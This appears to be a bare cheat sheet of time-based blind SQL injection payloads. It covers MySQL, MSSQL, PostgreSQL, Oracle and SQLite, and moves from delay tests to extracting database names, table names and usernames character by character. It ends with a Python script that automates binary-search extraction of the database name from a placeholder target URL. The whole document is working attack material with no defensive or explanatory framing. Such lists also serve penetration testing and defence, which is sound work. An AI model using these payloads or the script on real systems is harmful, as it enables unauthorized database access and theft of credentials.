Time-Based Blind

' AND SLEEP(5)-- -                    → 5 sec delay = injectable
' AND IF(1=1,SLEEP(5),0)-- -         → 5 sec delay
' AND IF(1=2,SLEEP(5),0)-- -         → No delay

'; WAITFOR DELAY '0:0:5'-- -         → 5 sec delay
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -

'; SELECT pg_sleep(5)-- -
' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000))))-- -

' AND IF(LENGTH(database())=5,SLEEP(3),0)-- -

' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(3),0)-- -
' AND IF(ASCII(SUBSTRING(database(),1,1))=116,SLEEP(3),0)-- -

' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100,SLEEP(3),0)-- -

' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97,SLEEP(3),0)-- -

'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>100) WAITFOR DELAY '0:0:3'-- -
'; IF (ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>100) WAITFOR DELAY '0:0:3'-- -

' AND (SELECT CASE WHEN ASCII(SUBSTRING(current_database(),1,1))>100 THEN pg_sleep(3) ELSE pg_sleep(0) END)-- -

import requests
import time

url = "http://TARGET/page"
result = ""

for pos in range(1, 50):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = f"' AND IF(ASCII(SUBSTRING(database(),{pos},1))>{mid},SLEEP(2),0)-- -"
        start = time.time()
        r = requests.get(url, params={"id": payload})
        elapsed = time.time() - start
        if elapsed >= 2:
            low = mid + 1
        else:
            high = mid - 1
    if low > 126:
        break
    result += chr(low)
    print(f"[+] {result}")

print(f"Result: {result}")